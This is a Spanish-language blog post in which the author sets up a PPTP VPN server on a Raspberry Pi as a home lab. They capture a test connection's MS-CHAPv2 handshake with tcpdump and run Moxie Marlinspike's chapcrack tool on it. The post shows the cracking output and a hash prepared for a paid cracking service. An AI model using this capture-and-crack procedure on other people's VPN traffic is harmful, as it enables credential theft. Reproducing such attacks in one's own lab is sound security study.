El 29 de Julio del 2012 Moxie Marlinspike publicó este post sobre su presentación en DEFCON 20 de un ataque contra MS-CHAPv2, que involucraba a los servicios vpn prestados por PPTP.
Hoy por la noche, sin sueño, recordé que no había hecho ninguna prueba de concepto de este asunto por lo que me puse manos a la obra y encendí mi Raspberry Pi.
Como primera parte del escenario realicé los pasos habituales al crear un servidor pptp en una plataforma Debian:
sudo apt-get update
sudo apt-get upgrade
Una vez actualizada la plataforma se instala el servidor pptp y se realizan las modificaciones pertinentes:
sudo apt-get install pptpd
sudo vi /etc/pptpd.conf
añadiendo en el fichero lo siguiente:
localip 192.168.1.20 <- la dirección IP de eth0 del servidor en raspberry pi
remoteip 192.168.42.250-254 <- la dirección IP que vamos a signar a los equipos que se conecten
Si esto fuese un entorno que queremos que funcione de verdad, se podría instalar un servidor dns, algo que no es necesario para la prueba de concepto ya que lo que vamos a capturar es el handshake de la conexión vpn:
sudo apt-get install bind9 dnsutils
y añadir en /etc/bind/named.conf
acl homenet { 192.168.1.0/24; 192.168.42.0/24; };
options {
directory “/etc/namedb”;
allow-query { homenet; };
};
zone “0.0.127.in-addr.arpa” {
type master;
file “localhost.rev”;
notify no;
};
Una vez hecho esto, y antes de reiniciar bind, hay que crear el directorio /etc/namedb, y tras un reload ya estamos listos. Para ello probamos:
n13z@minipwn ~ $ nslookup
> server 192.168.1.20
Default server: 192.168.1.20
Address: 192.168.1.20#53
> cenobyte.org
Server: 192.168.1.20
Address: 192.168.1.20#53
Non-authoritative answer:
Name: cenobyte.org
Address: 78.46.50.109
En el final del fichero /etc/ppp/pptpd-options se añade:
ms-dns 192.168.1.20
nobsdcomp
noipx
mtu 1490
mru 1490
y tras eso, los clients ya tienen un servidor DNS. Ahora añadir el usuario y la contraseña en /etc/ppp/chap-secrets:
n13z * thisisjustatest *
Separando cada palabra con un tabulador y procediendo a reiniciar el servidor.
Es el momento de preparar la captura, para ello un poco de magia con tcpdump, extraída del manual de resolución de problemas de pptpclient;
sudo tcpdump -i eth0 -w captura.pcap -s 0 tcp port 1723 or proto 47
Ahora ya estamos listos para conectarnos a la vpn con un teléfono, por ejemplo, tan sencillo como ir a Ajustes del Sistema > Conexiones y Redes >Configuración de Red VPN y añadir vpn y poner los datos que correspondan en un teléfono Android.
Tras iniciar la conexión, podemos para la captura y vamos a instalar la herramienta de Moxie para analizar la captura:
git clone https://github.com/moxie0/chapcrack.git
Entramos en el directorio e instalamos python-passlib, python-dpkt y python-m2crypto para resolver dependencias y ya estamos listos:
./chapcrack.py parse -i captura.pcap
Got completed handshake xxx.xxx.xxx.xxx –> 192.168.1.20]
Cracking K3…….
User = n13z
C1 = f616c98deddf0a0e
C2 = a90395c718aa54b5
C3 = 7ad5a6c56a1e85d7
P = 56f0ee4fcbce735b
K3 = 43c80000000000
CloudCracker Submission = $99$VvDuT8vOc1v2FsmN7d8KDqkDlccYqlS1Q8g=
Como se puede ver, se obtiene un hash listo para enviar a cloudcracker.com, ahora, a pagar para romperlo.